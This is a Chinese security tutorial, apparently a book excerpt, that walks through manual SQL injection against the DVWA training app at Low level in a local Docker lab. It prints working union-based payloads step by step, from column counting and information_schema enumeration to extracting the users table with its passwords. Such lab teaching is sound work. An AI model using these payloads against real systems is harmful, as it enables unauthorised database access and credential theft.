以DVWA为例,进行手工注入,帮助读者了解注入原理和过程。

1、启动docker,并在终端中执行命令:

docker ps -a

docker start LocalDVWA

docker ps

执行结果如图4-19所示。

图4-19  启动DVWA

2、在浏览器地址栏输入127.0.0.1后回车,浏览器打开了DVWA页面(DVWA在前面的章节中已建立完毕)。先点击左侧栏的DVWA Security,将难度调整至Low级别。单击左侧栏的SQL Injection,进入SQL注入页面,如图4-20所示。

图4-20  DVWA SQL注入

3、按照提示在文本框中填入用户ID(这里填入1),单击Submit按钮,执行结果如图4-21 所示。

图4-21  DVWA返回数据

4、返回了两个字段First name和Sumame。先看一下服务器对用户提交的数据User ID是如何处理的。单击页面右下角的View Source按钮,如图4-22所示。

图4-22  Low级别SQL注入代码

从图中可以看出服务器对用户输入的数据id未做任何处理,直接用于SQL语句了。手工注入首先要确定页面到底使用了数据库中多少个字段。再确定各个字段的位置。最后在字段的位置构建SQL语句,进行注入。

5、先确定使用的字段数目,在文本框中输入1’ order by 2#。此时服务器接受数据,$query= “SELECT first_name, last_name From Users WHERE user_id=’1’ order by 2# ”。后面的构建方法大致都是如此,相当于自行输入一个合法的SQL语句的后半截,加入到服务器的SQL语句中去。单击Submit按钮,得到结果如图4-23所示。

图4-23  测试数据库字段1

6、能正常返回页面,说明至少引用了两个字段(因为该页面使用get方式提交数据,所以也可以在地址栏中构建SQL语句进行注入。但需要注意一下,将空格、分号转换成ascii代码格式)。继续在文本框中输入1’ order by 3#,单击Submit按钮,得到的结果如图4-24所示。

图4-24  测试数据库字段2

7、不能返回正常页面,说明页面中应用的数据库字段不超过3。结合前面一次的测试。可以得出结论,该页面引用了数据库中的2个字段。下一步来查看数据库引用字段存放的位置。在文本框中输入1’ union select 1,2#。单击Submit按钮。得到的结果如图4-25所示。

图4-25  测试字段位置

从上图中可以看出,first name后面显示的是第一个字段,Sumame后面显示的是第二个字段。现在可以自行构建SQL语句,进行SQL注入。目前有2个位置可以注入,任选一个都可以,这里选择的是第二个位置。在文本框中输入1’ union select 1,version()#,返回数据库版本,如图4-26所示。

图4-26  返回数据库版本

8、在文本框个输入1’ union select database(),2#。这次选择第一个字段位置注入,返回了数据库名字,如图4-27所示。

图4-27  返回数据库名字

9、已知数据库名字,可以通过查询MySQL的information_schema数据库中的tables表,得到DVWA数据库中的所有表。在文本框中输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#,返回DVWA数据库中所有的表,如图4-28所示。

图4-28  返回数据库中的表

10、上图中可以看出,DVWA中的表有guestbook和users,这里需要user表的内容。先获取users表中的字段。在文本框中输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='user'#,返回获取表users中的所有字段,如图4-29所示。

图4-29  返回表字段

11、这里返回了很多字段,Host,User,Password,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_priv,Super_priv,Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_slave_priv,Repl_client_priv,Create_view_priv,Show_view_priv,Create_routine_priv,Alter_routine_priv,Create_user_priv,Event_priv,Trigger_priv,Create_tablespace_priv,ssl_type,ssl_cipher,x509_issuer,x509_subject,max_questions,max_updates,max_connections,max_user_connections,plugin,authentication_string,password_expired,is_role,default_role,max_statement_time。但实际上DVWA数据库中的表users中并没有这么多的字段,多出的字段是MariaDB其他数据库中users中的字段。现在要做的是将DVWA数据库中表users的字段分离出来。在文本框中输入1' and exists(select host from users)#,测试user字段是否属于表users。返回结果如图4-30所示。

图4-30  测试host字段

12、返回了错误信息,说明host字段并不是DVWA数据库表users中的字段。继续测试user字段,在文本框中输入1' and exists(select user from users)#,返回结果如图4-31所示。

图4-31  测试user字段

13、能够正常返回,说明user字段是DVWA数据库表users中的字段。继续这个一个个的测试下去。最后得到了数据库DVWA中表users的所有字段,user_id,first_name,last_name,user,password,avatar,last_login,failed_login。

14、已知数据库DVWA中表users的所有字段。现在可以下载表中的数据了。在文本框中输入1' union select 1,group_concat(user_id, first_name, last_name, password, avatar, last_login, failed_login) from users#,返回的结果如图4-32所示。

图4-32  获取表数据

如果需要处理其他的表,按照这个顺序重新处理一遍就可以了。

有兴趣的欢迎一起读这本书《11招玩转网络安全——用Python,更安全》

《11招玩转网络安全》之第四招:low级别的DVWA SQL注入的更多相关文章

  1. 《11招玩转网络安全》之第一招:Docker For Docker

    玩转黑客那些工具,缺少了虚拟机怎么行,除了用虚拟机虚拟整个系统,Docker也不能缺少,读者只需要知道,Docker只虚拟Linux系统中的某个程序就可以了.本节就来介绍Linux下安装设置Docke ...

  2. 《11招玩转网络安全》之第五招:DVWA命令注入

    首先还是将DVWA的安全级别设置为Low,然后单击DVWA页面左侧的Command Injection按钮. ​ 图5-1  Low级别的命令注入 这个就是最典型的命令注入接口.在文本框中输入一个IP ...

  3. 《11招玩转网络安全》之第三招:Web暴力破解-Low级别

    Docker中启动LocalDVWA容器,准备DVWA环境.在浏览器地址栏输入http://127.0.0.1,中打开DVWA靶机.自动跳转到了http://127.0.0.1/login.php登录 ...

  4. 11招玩转黑客攻防——用Python,更安全

    Python真是无所不能,学习Python,一个暑假就够了 !! 入门Python,从黑客入手最好玩.最简单 !! 今天就推荐一本书<11招玩转网络安全——用Python,更安全> 内网攻 ...

  5. 玩转Node.js(四)-搭建简单的聊天室

    玩转Node.js(四)-搭建简单的聊天室 Nodejs好久没有跟进了,最近想用它搞一个聊天室,然后便偶遇了socket.io这个东东,说是可以用它来简单的实现实时双向的基于事件的通讯机制.我便看了一 ...

  6. 2018.11.9浪在ACM集训队第四次测试赛

    2018.11.9浪在ACM集训队第四次测试赛 整理人:朱远迪 A 生活大爆炸版 石头剪刀布           参考博客:[1] 刘凯 B 联合权值            参考博客: [1]田玉康 ...

  7. Mac太卡了怎么办?用CleanMyMac四招让它飞起来

    许多小伙伴使用Mac后都反馈电脑不如想象中的流畅,甚至有点卡顿的现象,原因可能是因为无用的应用占据了过多的内存,或者是系统盘垃圾过多,导致的电脑卡顿现象. 今天小编教给大家几招,让自己的Mac能够一键 ...

  8. SQL注入过WAF(11.4 第三十三天)

    WAF是什么? Web应用防护系统(也称:网站应用级入侵防御系统.英文:Web Application Firewall,简称: WAF).也叫Web防火墙,主要是对Web特有入侵方式的加强防护,如D ...

  9. MySql(四)SQL注入

    MySql(四)SQL注入 一.SQL注入简介 1.1 SQL注入流程 1.2 SQL注入的产生过程 1.2.1 构造动态字符串 转义字符处理不当 类型处理不当 查询语句组装不当 错误处理不当 多个提 ...

随机推荐

  1. TSC条码打印机C#例程(tsclib.dll调用) 【转】

    //----  program.cs using System;using System.Collections.Generic;using System.Windows.Forms; using S ...

  2. mssql sqlserver with cte表达式(递归)找出最顶值的方法分享

    摘要: 下文通过递归的方式找出最顶级部门的方法分享,如下所示: 实验环境:sql server 2008 R2 下文通过cte-with表达式实现递归,获取一个公司的顶级部门,如下所示 例:部门表 c ...

  3. 各种raid对比

    级别 最少单元 特征 冗余 性能 空间利用率 综合评价 RAID0 1 分片分散存入 否 读写2倍 100% 分散存储,任何一块坏掉数据则不完整 RAID1 2 相同数据存入2个磁盘 是 写不变,读快 ...

  4. IOS以无线方式安装企业内部应用(开发者)

    请先阅读:http://help.apple.com/deployment/ios/#/apda0e3426d7 操作系统:osx yosemite 10.10.5 (14F1509) xcode:V ...

  5. IDEA Can't Update No tracked branch configured for branch master or the branch doesn't exist.

    IDEA Can't Update No tracked branch configured for branch master or the branch doesn't exist.To make ...

  6. 有关CSS的overflow和border-radius的那些事,你的圆角被覆盖了吗?

    事件起因 最初是网友的一个提问,来自于我的知识星球社区: 说实话,不得不佩服这个网友的眼力,这么小的细节都能发现.不过这也正是 FineUI 一直前进的动力,来自社区的监督和促进. 从截图上看,貌似圆 ...

  7. 【故障公告】SendCloud 邮件发送服务故障造成大量 QQ 邮箱收不到邮件

    抱歉,由于我们所使用的搜狐旗下的 SendCloud 邮件发送服务出现故障,今天上午大量发往 @qq.com 邮箱的邮件无法正常发送,从 SendCloud 管理控制台看这些邮件一直处于“请求中”的状 ...

  8. mySQL查看运行的进程

    查看运行的进程 show processlist kill id 杀掉进程

  9. VMware Workstation14 安装Ubuntu18.04

    1 下载Vmware Workstations14破解版 百度网盘链接:https://pan.baidu.com/s/12yVxoPCJUAmdts4SUdzndg 提取码:bs0g 2 下载Ubu ...

  10. Divide Candies CodeForces - 1056B (数学)

    Arkady and his friends love playing checkers on an n×nn×n field. The rows and the columns of the fie ...